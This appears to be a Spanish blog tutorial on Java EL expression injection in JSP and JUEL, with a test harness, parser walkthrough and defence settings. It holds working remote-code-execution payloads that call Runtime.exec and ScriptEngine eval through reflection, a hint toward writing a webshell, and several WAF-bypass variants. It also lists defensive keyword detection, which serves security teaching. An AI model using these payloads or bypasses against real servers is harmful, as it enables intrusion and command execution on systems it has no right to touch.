Inyección de expresión Java (inyección de expresión JSP EL)

Prefacio:

        Los métodos de inyección de expresiones comunes incluyen ELinyección de expresiones, SpELinyección de expresiones e OGNLinyección de expresiones. Primero expliquemos la inyección de expresión EL:

Introducción a las expresiones EL:

        EL (lenguaje de expresión) es para hacer que JSP sea más fácil de escribir. El lenguaje de expresión está inspirado en el lenguaje de expresión ECMAScript y XPath, que proporciona una manera de simplificar las expresiones en JSP, simplificando aún más el código JSP.

        Nota: EL no es un lenguaje de desarrollo , sino una especificación para obtener datos en jsp;

        Método de escritura JSP:<%=session.getAttribute("name")%>

        Método de escritura de expresión El: ${sessionScope.name}

Las principales funciones de las expresiones EL son las siguientes:

  • Obtención de datos: las expresiones EL se utilizan principalmente para reemplazar expresiones de script en páginas JSP para recuperar objetos Java y obtener datos de varios tipos de dominios web (objetos en un determinado dominio web, acceso a propiedades de JavaBean, acceso a colecciones de listas), acceso a mapas. colección, matriz de acceso).
     
  • Ejecución de operaciones: las expresiones EL se pueden utilizar para realizar algunas operaciones relacionales básicas, operaciones lógicas y operaciones aritméticas en páginas JSP, para completar algunas operaciones lógicas simples en páginas JSP, como ${user==null}.
     
  • Obtener objetos comunes del desarrollo web: las expresiones EL definen algunos objetos implícitos y, al utilizar estos objetos implícitos, los desarrolladores web pueden obtener fácilmente referencias a objetos web comunes y, por lo tanto, obtener los datos de estos objetos.
     
  • Llamar a métodos Java: las expresiones EL permiten a los usuarios desarrollar funciones EL personalizadas para llamar a métodos de clases Java a través de expresiones EL en páginas JSP.

Lo más importante a tener en cuenta es su objeto implícito:

        La esencia de JSP es Servlet, pero tiene un alcance más que Servlet: dominio de página . Hay cuatro alcances principales en JSP, el objeto de contexto de página es pageContext, que es uno de los nombres de objetos integrados de JSP, entre los cuales Si desea usar setAttribute (clave de cadena, valor de objeto), agregar claves y valores al dominio de la página y usarlo para agregar declaraciones que puedan ejecutar comandos a través de pageContext.setAttribute. Al analizar la declaración el, nuestro código se puede activar y ejecutado.

prueba:

        Si probamos bajo qué circunstancias habrá inyección de expresión EL, dado que las expresiones EL tienen funciones como el cálculo, podemos usar estas funciones para determinar si hay inyección de expresión EL. Primero, agregamos un código de prueba que el puede llamar a la clase:

Agregue la clase ElTestServlet de la interfaz del controlador y agregue el método hola:

public class ElTestServlet extends HttpServlet {
    @RequestMapping(value = "/index.do",method = RequestMethod.GET)
    public ModelAndView hello(@RequestParam("username") String username){
        ModelAndView mv = new ModelAndView();
        mv.addObject("username", username);
        mv.setViewName("index");
        return mv;
    }
}

Agregue la clase ElTestService y agregue el método doSomething:

public class ElTestService {
    public static String doSomething(String str) {
        return str;
    }
}

 Agregue el archivo test.tld:

<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <tlib-version>1.0</tlib-version>
    <short-name>ElTestService</short-name>
    <uri>/WEB-INF/test.tld</uri>
    <function>
        <name>doSomething</name>
        <function-class>org.example.service.ElTestService</function-class>
        <function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
    </function>
</taglib>

Y agregue una llamada a tld en web.xml:

    <jsp-config>
        <taglib>
            <taglib-uri>/WEB-INF/test.tld
            </taglib-uri>
            <taglib-location>
                /WEB-INF/test.tld
            </taglib-location>
        </taglib>
    </jsp-config>

Y finalmente el index.jsp para la prueba:

<%@ taglib uri="/WEB-INF/test.tld"  prefix="elfun" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>

</head>
<body>
<pre>
    param.username is :  ${param.username}

    user is: ${username}

    pageContext.setAttribute("a",param.username) is :  ${pageContext.setAttribute("a",param.username)} ${a}

    elfun:doSomething(username) is : ${elfun:doSomething(username)}

    <\%=rows%> is: <% String rows = "${2+1}";%><%=rows%>

    out.println is: <% out.println("${2+1}");%>

    pageContext.setAttribute("a", 2-1) is : ${pageContext.setAttribute("a", 2-1)} ${a}

    elfun:doSomething(2-1) is : ${elfun:doSomething(2-1)}
</pre>
</body>
</html>

 Después de la ejecución, podrá ver la siguiente pantalla:

  

Se puede ver que los valores pasados ​​a través de los parámetros se analizarán como cadenas, no como el. Solo los dos últimos métodos de asignación directa se pueden analizar como el. Puede verlo en depuración, cuando usamos

${elfun:hacerAlgo(2-1)}

De esta manera, el análisis del contenido se completa antes de ingresar a la función de llamada, en lugar de analizarlo después de que se procesa la función.

Entonces, si desea implementar la inyección a través de ${}, el parámetro no se puede analizar como una cadena, por lo que, a menos que el desarrollo sea intencional, no tenemos forma de implantar nuestro código en la página y ejecutarlo, así que si desea usar el injection, puede usarlo como una puerta trasera web o cuando el backend realizará un análisis secundario de los datos obtenidos o cuando necesitemos omitir, como el bypass de la versión alta de la inyección JNDI para explotar esta vulnerabilidad. Pero por el bien de la investigación, todavía agregamos código manualmente para realizar pruebas. Cuando utilizamos la siguiente declaración para imprimir información del sistema:

Obtenga el directorio, luego podrá escribir en el webshell, etc.:

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

 Ejecute el comando, visite la página, analice la siguiente declaración el y llame al método exec de tiempo de ejecución para ejecutar el comando mediante reflexión:

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass() .forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

Por supuesto, también puede usar ${applicationScope} para acceder al alcance de la aplicación, puede obtener varias propiedades de la aplicación y puede obtener webRoot.

Análisis de código:

Cuando visitamos la página y abrimos la calculadora, qué se ejecuta exactamente, aquí analizamos brevemente:

Cuando ejecutamos la siguiente declaración, aparecerá la calculadora:

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass() .forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

Es principalmente el siguiente código de reflexión, y su principal código de ejecución de reflexión es:

Runtime.getRuntime().exec("calc");

Echemos un vistazo a cómo se analiza la declaración EL. Primero, mire la pila de ejecución. Puede ver que los siguientes métodos se utilizan principalmente para implementar el análisis de la declaración EL hasta la ejecución de reflexión final:

El primero es construir el objeto ValueExpressionImpl y devolverlo. Los parámetros son expresiones, nodos, asignadores de funciones y asignadores de variables. El tipo esperado se puede inicializar, principalmente para expresiones y tipos esperados:

Luego cree un contexto el para llamar al método propietarioEvaluate, donde los parámetros importantes son los primeros tres, que son la expresión el, el tipo esperado y el contexto de la página, y los últimos están vacíos y son falsos.

 Luego llame al método getValue() para obtener el valor del Valor:

El análisis del árbol de sintaxis EL se basa en los nodos, donde el nodo raíz es AstValue y los tres subnodos son AstIdentifier, DotSuffix y DotSuffix respectivamente. Aquí, el árbol de sintaxis EL se analizará circularmente.

 Luego llame al método de invocación de BeanELResolver para encontrar la función del método y ejecutarla reflexivamente, completando el análisis y la ejecución de EL. Tenga en cuenta aquí que el objeto pageContext solo puede ser procesado por BeanELResolver:

Lo anterior ha completado el análisis de las funciones clave del análisis de el. Lo más importante es el análisis del árbol de sintaxis de el. Aquí, el código el en el contenedor Tomcat tiene muchas clases para el análisis de el. También habrá diferencias en el análisis, lo que lleva al hecho de que muchas exp escritas por nosotros no se pueden usar universalmente en varias plataformas, por lo que al escribir poc, debemos saber qué contenedor Tomcat, Jboss, Resin o glassfish usa la otra parte, y luego solo analizando El análisis el correspondiente podemos escribir mejor el código de ataque.

Comparación de diferencias:

EL se usó originalmente como parte de JSTL, pero EL se convirtió en el estándar JSP 2.0. La API de EL ahora se ha separado en el paquete javax.el y se han eliminado todas las dependencias de las clases principales de JSP, es decir, ahora: el ¡EL está listo para usar en aplicaciones que no sean JSP!

JUEL  es una implementación del Lenguaje de Expresión Unificado (EL), las expresiones se han introducido en JEE5 como parte del estándar JSP2.1, y JUEL  2.2 también implementa todas las especificaciones de JEE6 que debe cumplir la especificación JSP 2.2.

pom.xml agregar:

    <dependencies>
        <dependency>
            <groupId>de.odysseus.juel</groupId>
            <artifactId>juel-api</artifactId>
            <version>2.2.7</version>
        </dependency>
        <dependency>
            <groupId>de.odysseus.juel</groupId>
            <artifactId>juel-spi</artifactId>
            <version>2.2.7</version>
        </dependency>
        <dependency>
            <groupId>de.odysseus.juel</groupId>
            <artifactId>juel-impl</artifactId>
            <version>2.2.7</version>
        </dependency>
    </dependencies>

Escribe el código de prueba:

public class Main {
    public static void main(String[] args) throws Exception {
        test2();
    }
    public static void test2() throws Exception{
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
        SimpleContext simpleContext = new SimpleContext();
        String exp1 = "${\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")}";
        String exp2 = "${\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"exec\",\"\".getClass()).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"calc.exe\")}\n";
        String exp3 = "${\"\".getClass().forName(\"javax.script.ScriptEngine\").getMethod(\"eval\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").getMethod(\"getEngineByName\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance(),\"JavaScript\"),\"java.lang.Runtime.getRuntime().exec('calc')\")}";

        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp1, String.class);
        valueExpression.getValue(simpleContext);

        ScriptEngineManager obj = (ScriptEngineManager) "".getClass().forName("javax.script.ScriptEngineManager").newInstance();
        obj.getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc.exe')");
    }


}

Primero probé usando la clase javax.script.ScriptEngineManager para ejecutar el código Java y luego completar la ejecución del comando, pero después de la ejecución, puedo ver un error:

Esto es muy extraño, ¿por qué es del tipo io.reader, pero después de analizarlo encontré un problema extraño? Cuando depuré paso a paso, la calculadora apareció con éxito, pero cuando la ejecuté directamente, los siguientes parámetros fueron llamado Es el método de evaluación del tipo de lector, lo que hace que el sistema informe que el tipo de parámetro no coincide:

 La esencia de la función de reflexión es ejecutar el siguiente código:

ScriptEngineManager obj = (ScriptEngineManager) "".getClass().forName("javax.script.ScriptEngineManager").newInstance();
obj.getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc.exe')");

Luego probé el reflejo completo,

Object obj1 = "".getClass().forName("javax.script.ScriptEngineManager").getMethod("getEngineByName","".getClass()).invoke("".getClass().forName("javax.script.ScriptEngineManager").newInstance(),"JavaScript");
Class myclass2 = "".getClass().forName("javax.script.ScriptEngine");
Method method2 = myclass2.getMethod("eval","".getClass());
method2.invoke(obj1,"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()");

El empalme se completa de las dos formas siguientes:

"${\"\".getClass().forName(\"javax.script.ScriptEngine\").getMethod(\"eval\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").getMethod(\"getEngineByName\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance(),\"JavaScript\"),\"java.lang.Runtime.getRuntime().exec('calc')\")}";

${pageContext.setAttribute("a","".getClass().forName("javax.script.ScriptEngine").getMethod("eval","".getClass()).invoke("".getClass().forName("javax.script.ScriptEngineManager").getMethod("getEngineByName","".getClass()).invoke("".getClass().forName("javax.script.ScriptEngineManager").newInstance(),"JavaScript"),"java.lang.Runtime.getRuntime().exec('calc')"))}

 La ejecución puede hacer que la calculadora aparezca con éxito, y también puede aparecer en Tomcat, pero es un poco doloroso cambiar a una versión inferior de Tomcat, y soy demasiado vago para analizarlo. La mejor compatibilidad es reflejar directamente java.lang.Runtime y luego llame a exec Ejecute comandos del sistema. Si desea que javax.script.ScriptEngineManager ejecute el código Java de manera reflexiva, depende de la suerte.

Derivación:

Cuando hay un firewall, cómo evitarlo:

En primer lugar, si está filtrando por getClass, se puede omitir de la siguiente manera:

"${\"\".class.getSuperclass().class.forName(\"java.lang.Runtime\").getDeclaredMethods()[15].invoke(\"\".class.getSuperclass().class.forName(\"java.lang.Runtime\").getDeclaredMethods()[7].invoke(null),\"calc.exe\")}";

O use concatenación de cadenas:

"${\"\".getClass().forName(\"java.la\"+\"ng.Runtime\").getMethod(\"exec\",\"\".getClass()).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"calc.exe\")}\n";

O tome una forma de matriz para el comando:

"${\"\".getClass().forName(\"javax.script.ScriptEngine\").getMethod(\"eval\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").getMethod(\"getEngineByName\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance(),\"JavaScript\"),\"java.lang.Runtime.getRuntime().exec('s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.lang.Runtime.getRuntime().exec(s);')\")}";

También puede llamar al método de decodificación de java.net.URLDecoder en eval para ejecutar el código de ejecución codificado:

.eval((java.net.URLDecoder).decode(\"

Cómo usarlo depende de la situación del sitio y de elegir uno o una combinación de métodos.

defensa:

Cómo defenderse de la inyección de el, el primero es cerrar directamente la ejecución de el, que se puede agregar a la configuración web.xml:

    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>

Después de unirse, podrá ver cuando visite la página que todas las expresiones el se analizan como cadenas:

 

Y una vez que se establece verdadero, la etiqueta JSTL no se puede ejecutar, por lo que si no usa la expresión el, puede cerrarla directamente, pero puede personalizar el cierre si es necesario:

<%@ página isELIgnored="true" %>

Agregar la declaración anterior a la página jsp que necesita desactivar la función el también puede desactivar el análisis el de la página actual, pero no afecta otras interfaces

El último es analizar las palabras clave de entrada, principalmente para detectar si las funciones requeridas por la reflexión se llaman en la declaración el. Generalmente, el código normal no llama a funciones mediante reflexión y normalmente accede a las clases java a través de JSTL, por lo que si hay reflexión, puedes Se juzga como un código de ataque. Por supuesto, si hay un código que debe llamarse de manera reflexiva, solo se puede juzgar como un ataque malicioso detectando si hay llamadas a java.lang.Runtime y javax.script. Clases de ScriptEngine y llamadas a eval.

Resumir:

Después del análisis de la inyección de expresión EL, se encuentra que diferentes versiones o diferentes métodos tienen diferencias en el análisis de la sintaxis de El. Por ejemplo, aquí se introducen jsp el y jboss el, por lo que el mismo código se ejecutará en diferentes plataformas. cuando se encuentre la necesidad de utilizar la inyección EL, se debe seleccionar el código de ataque correspondiente de acuerdo con el escenario específico y el código se debe modificar de acuerdo con la situación de waf.

Supongo que te gusta

Origin blog.csdn.net/GalaxySpaceX/article/details/132169473
Recomendado
Clasificación